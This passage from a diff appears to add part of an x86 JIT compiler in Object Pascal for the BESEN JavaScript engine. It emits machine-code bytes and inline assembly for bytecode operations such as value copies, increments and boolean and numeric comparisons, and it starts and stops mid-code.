bopLITERALSTR:begin + AddDispatcher; + end; + bopLITERALOBJ:begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Obj],Obj + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + AddDWord(ptruint(pointer(Code.Literals[Operands^[1]].Obj))); + end; + bopFUNC:begin + AddDispatcher; + end; + bopLINE:begin + Add(#$b8); // mov eax,Arg + AddDWord(Code.Locations[Operands^[0]].LineNumber); + asm + jmp @Skip + @CodeBegin: + mov edx,dword ptr [esi+TBESENCodeContext.Instance] + mov dword ptr [edx+TBESEN.LineNumber],eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGC:begin + asm + jmp @Skip + @CodeBegin: + mov eax,dword ptr [esi+TBESENCodeContext.Instance] + mov eax,dword ptr [eax+TBESEN.GarbageCollector] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$e8); // call TBESENGarbageCollector.TriggerCollect + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkPTR; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].Dest:=@TBESENGarbageCollector.TriggerCollect; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + bopSTRICT:begin + Add(#$b8); // mov eax,Arg + AddDWord(longword(BESENLongBooleanValues[Operands^[0]<>0])); + asm + jmp @Skip + @CodeBegin: + mov edx,dword ptr [esi+TBESENCodeContext.Instance] + mov dword ptr [edx+TBESEN.IsStrict],eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSTRICTCHECKREF:begin + if not Code.Body.IsStrict then begin + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.ReferenceIsStrict] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIsStrict))-ptruint(pointer(@v)))); + + Add(#$85#$c0); // test eax,rax + + Add(#$0f#$84); // jz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=CurrentPC; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + + AddDispatcher; + end; + bopDEBUGGER:begin + if TBESEN(CodeContext.Instance).CodeTracable then begin + AddDispatcher; + end; + end; + bopCHECKOBJECTCOERCIBLE:begin + AddDispatcher; + end; + bopPUTOBJVALUE:begin + AddDispatcher; + end; + bopPUTOBJGET:begin + AddDispatcher; + end; + bopPUTOBJSET:begin + AddDispatcher; + end; + bopINC:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$d9#$e8); // fld1 + + Add(#$dc#$87); // fadd qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopDEC:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$25); // fsub qword ptr [BESENNumOne] + AddDWord(ptruint(pointer(@BESENNumOne))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopCOPYBOOL:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$ff#$b7); // push dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8f#$87); // pop dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + end; + end; + bopCOPYNUM:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dd#$9f); // fstp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + end; + bopCOPYOBJ:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$ff#$b7); // push dword ptr [edi+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + + Add(#$8f#$87); // pop dword ptr [edi+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + end; + bopCOPYREF:begin + if Operands^[0]<>Operands^[1] then begin + AddDispatcher; + end; + end; + bopCOPYLOCAL:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtLOCAL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtLOCAL); + + Add(#$ff#$b7); // push dword ptr [edi+RegisterOfs+TBESENValue.LocalIndex] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + + Add(#$8f#$87); // pop dword ptr [edi+RegisterOfs+TBESENValue.LocalIndex] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + end; + end; + bopGETVALUEREF:begin + AddDispatcher; + end; + bopPUTVALUEREF:begin + AddDispatcher; + end; + bopGETVALUELOCAL:begin + AddDispatcher; + end; + bopPUTVALUELOCAL:begin + AddDispatcher; + end; + bopGETVALUELOCALFAST:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALFAST:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + xchg eax,edx + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALBOOL:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [eax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [edx+TBESENValue.Bool] + mov dword ptr [eax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALBOOL:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [edx+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [eax+TBESENValue.Bool] + mov dword ptr [edx+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALNUM:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [eax+TBESENValue.ValueType],bvtNUMBER + fld qword ptr [edx+TBESENValue.Num] + fstp qword ptr [eax+TBESENValue.Num] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALNUM:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [edx+TBESENValue.ValueType],bvtNUMBER + fld qword ptr [eax+TBESENValue.Num] + fstp qword ptr [edx+TBESENValue.Num] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALSTR:begin + AddDispatcher; + end; + bopPUTVALUELOCALSTR:begin + AddDispatcher; + end; + bopGETVALUELOCALOBJ:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [eax+TBESENValue.ValueType],bvtOBJECT + mov ecx,dword ptr [edx+TBESENValue.Obj] + mov dword ptr [eax+TBESENValue.Obj],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALOBJ:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.LocalIndex] + mov edx,dword ptr [ebx+ecx*4] + mov dword ptr [edx+TBESENValue.ValueType],bvtOBJECT + mov ecx,dword ptr [eax+TBESENValue.Obj] + mov dword ptr [edx+TBESENValue.Obj],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEX:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8b#$93); // mov edx,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[1])*4); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEX:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8b#$83); // mov eax,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[0])*4); + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+TBESENValue.ValueType] + call dword ptr [ecx*4+offset BESENCopyValueProcs] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEXBOOL:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8b#$93); // mov edx,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[1])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [edx+TBESENValue.Bool] + mov dword ptr [eax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXBOOL:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8b#$83); // mov eax,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[0])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [edx+TBESENValue.Bool] + mov dword ptr [eax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEXNUM:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8b#$93); // mov edx,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[1])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtNUMBER + fld qword ptr [edx+TBESENValue.Num] + fstp qword ptr [eax+TBESENValue.Num] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXNUM:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8b#$83); // mov eax,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[0])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtNUMBER + fld qword ptr [edx+TBESENValue.Num] + fstp qword ptr [eax+TBESENValue.Num] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEXSTR:begin + AddDispatcher; + end; + bopPUTVALUELOCALINDEXSTR:begin + AddDispatcher; + end; + bopGETVALUELOCALINDEXOBJ:begin + Add(#$8d#$87); // lea eax,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$8b#$93); // mov edx,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[1])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtOBJECT + mov ecx,dword ptr [edx+TBESENValue.Obj] + mov dword ptr [eax+TBESENValue.Obj],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXOBJ:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$8b#$83); // mov eax,dword ptr [ebx+LocalIndex*4] + AddDWord(ptruint(Operands^[0])*4); + asm + jmp @Skip + @CodeBegin: + mov dword ptr [eax+TBESENValue.ValueType],bvtOBJECT + mov ecx,dword ptr [edx+TBESENValue.Obj] + mov dword ptr [eax+TBESENValue.Obj],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopLOOPINITCOUNT:begin + end; + bopLOOPADDCOUNT:begin + end; + bopTRACE:begin + if TBESEN(CodeContext.Instance).CodeTracable then begin + AddDispatcher; + end; + end; + bopLTBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setb al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setnbe al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLEBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setbe al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGEBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setnb al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,edx + setz al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$8b#$87); // mov eax,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$8b#$97); // mov edx,dword ptr [edi+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,edx + setnz al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLTNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm 